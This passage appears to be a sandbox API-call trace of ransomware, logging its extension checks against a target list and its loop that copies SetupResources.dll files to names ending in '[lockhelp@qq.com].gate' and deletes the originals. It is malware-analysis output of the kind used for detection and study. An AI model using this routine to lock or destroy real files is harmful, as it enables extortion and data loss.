[0110.998] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0110.998] lstrlenW (lpString=".zip") returned 4 [0110.999] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.999] lstrlenW (lpString=".rar") returned 4 [0110.999] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.999] lstrlenW (lpString=".bz2") returned 4 [0110.999] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.999] lstrlenW (lpString=".7z") returned 3 [0110.999] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.999] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0110.999] lstrlenW (lpString=".dbf") returned 4 [0110.999] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.999] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0110.999] lstrlenW (lpString=".1cd") returned 4 [0110.999] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.999] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0110.999] lstrlenW (lpString=".jpg") returned 4 [0110.999] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.999] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0110.999] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0110.999] lstrlenW (lpString=".doc") returned 4 [0110.999] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.999] lstrlenW (lpString=".docx") returned 5 [0110.999] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0110.999] lstrlenW (lpString=".pdf") returned 4 [0110.999] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.999] lstrlenW (lpString=".xls") returned 4 [0110.999] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0111.000] lstrlenW (lpString=".xlsx") returned 5 [0111.000] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0111.000] lstrlenW (lpString=".ppt") returned 4 [0111.000] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0111.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0111.000] lstrlenW (lpString=".zip") returned 4 [0111.000] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0111.000] lstrlenW (lpString=".rar") returned 4 [0111.000] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0111.000] lstrlenW (lpString=".bz2") returned 4 [0111.000] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0111.000] lstrlenW (lpString=".7z") returned 3 [0111.000] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0111.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0111.000] lstrlenW (lpString=".dbf") returned 4 [0111.000] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0111.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0111.000] lstrlenW (lpString=".1cd") returned 4 [0111.000] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0111.000] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0111.000] lstrlenW (lpString=".jpg") returned 4 [0111.000] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0111.000] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0111.001] lstrlenW (lpString="SetupResources.dll") returned 18 [0111.001] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0111.001] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=17752) returned 1 [0111.001] CloseHandle (hObject=0x328) returned 1 [0111.001] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 0x80 [0111.001] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0111.001] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0111.001] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.002] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.002] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0111.004] GetLastError () returned 0x0 [0111.004] ReadFile (in: hFile=0x328, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x4558, lpOverlapped=0x0) returned 1 [0111.047] WriteFile (in: hFile=0x324, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0x4560, lpOverlapped=0x0) returned 1 [0111.240] ReadFile (in: hFile=0x328, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0111.240] WriteFile (in: hFile=0x324, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0xf8, lpOverlapped=0x0) returned 1 [0111.240] SetEndOfFile (hFile=0x324) returned 1 [0111.240] CloseHandle (hObject=0x324) returned 1 [0111.241] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.242] SetEndOfFile (hFile=0x328) returned 1 [0111.266] CloseHandle (hObject=0x328) returned 1 [0111.266] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0111.267] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 1 [0111.267] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0111.267] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0111.267] lstrlenW (lpString=".doc") returned 4 [0111.267] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0111.267] lstrlenW (lpString=".docx") returned 5 [0111.267] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0111.267] lstrlenW (lpString=".pdf") returned 4 [0111.267] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0111.267] lstrlenW (lpString=".xls") returned 4 [0111.267] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0111.267] lstrlenW (lpString=".xlsx") returned 5 [0111.267] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0111.267] lstrlenW (lpString=".ppt") returned 4 [0111.268] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0111.268] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0111.268] lstrlenW (lpString=".zip") returned 4 [0111.268] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0111.268] lstrlenW (lpString=".rar") returned 4 [0111.268] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0111.268] lstrlenW (lpString=".bz2") returned 4 [0111.268] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0111.268] lstrlenW (lpString=".7z") returned 3 [0111.268] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0111.268] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0111.268] lstrlenW (lpString=".dbf") returned 4 [0111.268] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0111.268] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0111.268] lstrlenW (lpString=".1cd") returned 4 [0111.268] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0111.268] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0111.268] lstrlenW (lpString=".jpg") returned 4 [0111.268] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0111.268] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0111.268] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0111.268] lstrlenW (lpString=".doc") returned 4 [0111.268] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0111.268] lstrlenW (lpString=".docx") returned 5 [0111.268] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0111.269] lstrlenW (lpString=".pdf") returned 4 [0111.269] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0111.269] lstrlenW (lpString=".xls") returned 4 [0111.269] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0111.269] lstrlenW (lpString=".xlsx") returned 5 [0111.269] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0111.269] lstrlenW (lpString=".ppt") returned 4 [0111.269] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0111.269] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0111.269] lstrlenW (lpString=".zip") returned 4 [0111.269] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0111.269] lstrlenW (lpString=".rar") returned 4 [0111.269] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0111.269] lstrlenW (lpString=".bz2") returned 4 [0111.269] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0111.269] lstrlenW (lpString=".7z") returned 3 [0111.269] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0111.269] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0111.269] lstrlenW (lpString=".dbf") returned 4 [0111.269] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0111.269] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0111.269] lstrlenW (lpString=".1cd") returned 4 [0111.270] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0111.270] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0111.270] lstrlenW (lpString=".jpg") returned 4 [0111.270] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0111.270] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0111.270] lstrlenW (lpString="SetupResources.dll") returned 18 [0111.270] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0111.275] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=14168) returned 1 [0111.275] CloseHandle (hObject=0x33c) returned 1 [0111.277] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 0x80 [0111.277] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0111.278] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0111.278] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.278] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.278] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0111.282] GetLastError () returned 0x0 [0111.282] ReadFile (in: hFile=0x33c, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x3758, lpOverlapped=0x0) returned 1 [0111.327] WriteFile (in: hFile=0x318, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0x3760, lpOverlapped=0x0) returned 1 [0111.328] ReadFile (in: hFile=0x33c, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0111.328] WriteFile (in: hFile=0x318, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0xf8, lpOverlapped=0x0) returned 1 [0111.329] SetEndOfFile (hFile=0x318) returned 1 [0111.329] CloseHandle (hObject=0x318) returned 1 [0111.330] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.330] SetEndOfFile (hFile=0x33c) returned 1 [0111.331] CloseHandle (hObject=0x33c) returned 1 [0111.331] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0111.412] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 1 [0111.412] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0111.412] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0111.412] lstrlenW (lpString=".doc") returned 4 [0111.412] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0111.412] lstrlenW (lpString=".docx") returned 5 [0111.412] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0111.413] lstrlenW (lpString=".pdf") returned 4 [0111.413] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0111.413] lstrlenW (lpString=".xls") returned 4 [0111.413] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0111.413] lstrlenW (lpString=".xlsx") returned 5 [0111.413] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0111.413] lstrlenW (lpString=".ppt") returned 4 [0111.413] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0111.413] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0111.413] lstrlenW (lpString=".zip") returned 4 [0111.413] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0111.413] lstrlenW (lpString=".rar") returned 4 [0111.413] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0111.413] lstrlenW (lpString=".bz2") returned 4 [0111.413] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0111.413] lstrlenW (lpString=".7z") returned 3 [0111.413] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0111.413] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0111.413] lstrlenW (lpString=".dbf") returned 4 [0111.413] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0111.413] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0111.413] lstrlenW (lpString=".1cd") returned 4 [0111.413] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0111.413] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0111.413] lstrlenW (lpString=".jpg") returned 4 [0111.413] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0111.413] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0111.413] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0111.413] lstrlenW (lpString=".doc") returned 4 [0111.413] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0111.413] lstrlenW (lpString=".docx") returned 5 [0111.413] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0111.413] lstrlenW (lpString=".pdf") returned 4 [0111.413] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0111.414] lstrlenW (lpString=".xls") returned 4 [0111.414] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0111.414] lstrlenW (lpString=".xlsx") returned 5 [0111.414] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0111.414] lstrlenW (lpString=".ppt") returned 4 [0111.414] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0111.414] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0111.414] lstrlenW (lpString=".zip") returned 4 [0111.414] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0111.414] lstrlenW (lpString=".rar") returned 4 [0111.414] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0111.414] lstrlenW (lpString=".bz2") returned 4 [0111.414] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0111.414] lstrlenW (lpString=".7z") returned 3 [0111.414] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0111.414] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0111.414] lstrlenW (lpString=".dbf") returned 4 [0111.414] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0111.414] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0111.414] lstrlenW (lpString=".1cd") returned 4 [0111.414] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0111.414] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0111.414] lstrlenW (lpString=".jpg") returned 4 [0111.414] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0111.414] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0111.414] lstrlenW (lpString="SetupResources.dll") returned 18 [0111.414] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0111.812] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=18776) returned 1 [0111.812] CloseHandle (hObject=0x330) returned 1 [0111.812] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 0x80 [0111.812] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0111.812] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0111.813] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.813] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.813] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0111.862] GetLastError () returned 0x0 [0111.862] ReadFile (in: hFile=0x330, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x4958, lpOverlapped=0x0) returned 1 [0111.905] WriteFile (in: hFile=0x32c, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0x4960, lpOverlapped=0x0) returned 1 [0111.906] ReadFile (in: hFile=0x330, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0111.906] WriteFile (in: hFile=0x32c, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0xf8, lpOverlapped=0x0) returned 1 [0111.906] SetEndOfFile (hFile=0x32c) returned 1 [0111.907] CloseHandle (hObject=0x32c) returned 1 [0111.908] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.908] SetEndOfFile (hFile=0x330) returned 1 [0111.909] CloseHandle (hObject=0x330) returned 1 [0111.909] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0111.910] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 1 [0111.910] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0111.910] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0111.910] lstrlenW (lpString=".doc") returned 4 [0111.910] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0111.910] lstrlenW (lpString=".docx") returned 5 [0111.910] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0111.910] lstrlenW (lpString=".pdf") returned 4 [0111.910] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0111.910] lstrlenW (lpString=".xls") returned 4 [0111.910] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0111.910] lstrlenW (lpString=".xlsx") returned 5 [0111.910] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0111.910] lstrlenW (lpString=".ppt") returned 4 [0111.910] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0111.910] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0111.910] lstrlenW (lpString=".zip") returned 4 [0111.910] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0111.910] lstrlenW (lpString=".rar") returned 4 [0111.910] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0111.910] lstrlenW (lpString=".bz2") returned 4 [0111.910] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0111.910] lstrlenW (lpString=".7z") returned 3 [0111.910] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0111.911] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0111.911] lstrlenW (lpString=".dbf") returned 4 [0111.911] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0111.911] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0111.911] lstrlenW (lpString=".1cd") returned 4 [0111.911] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0111.911] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0111.911] lstrlenW (lpString=".jpg") returned 4 [0111.911] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0111.911] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0111.911] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0111.911] lstrlenW (lpString=".doc") returned 4 [0111.911] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0111.911] lstrlenW (lpString=".docx") returned 5 [0111.911] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0111.911] lstrlenW (lpString=".pdf") returned 4 [0111.911] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0111.911] lstrlenW (lpString=".xls") returned 4 [0111.911] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0111.911] lstrlenW (lpString=".xlsx") returned 5 [0111.911] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0111.911] lstrlenW (lpString=".ppt") returned 4 [0111.911] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0111.911] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0111.911] lstrlenW (lpString=".zip") returned 4 [0111.911] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0111.911] lstrlenW (lpString=".rar") returned 4 [0111.911] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0111.911] lstrlenW (lpString=".bz2") returned 4 [0111.911] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0111.911] lstrlenW (lpString=".7z") returned 3 [0111.911] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0111.911] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0111.911] lstrlenW (lpString=".dbf") returned 4 [0111.911] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0111.912] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 